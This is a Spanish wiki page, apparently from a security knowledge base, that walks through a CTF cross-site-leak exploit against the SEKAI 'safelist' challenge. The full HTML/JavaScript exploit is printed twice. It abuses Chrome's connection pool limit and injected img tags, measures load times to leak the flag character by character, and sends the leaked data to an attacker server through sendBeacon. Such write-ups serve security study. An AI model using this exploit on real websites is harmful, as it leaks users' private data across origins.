Connection Pool by Destination Example

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En este exploit, @terjanq propone otra solución para el desafío mencionado en la siguiente página:

Connection Pool by Destination Example

Veamos cómo funciona este exploit:

El atacante inyectará una nota con tantos <img tags cargando /js/purify.js como sea posible (más de 6 para bloquear el origen).
Luego, el atacante eliminará la nota con índice 1.
Después, el atacante [hará que el bot acceda a la página con la nota restante] y enviará una solicitud a victim.com/js/purify.js que él medirá.
Si el tiempo es mayor, la inyección estaba en la nota que quedó, si el tiempo es menor, la bandera estaba allí.

La verdad, leyendo el script me perdí en alguna parte donde el atacante hace que el bot cargue la página para activar los tags img, no veo nada así en el código.

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

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PreviousConnection Pool Examples NextCookie Bomb + Onerror XS Leak

Last updated 7 days ago

<html> <head> <script> const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } }; </script> </head> <body> </body> </html>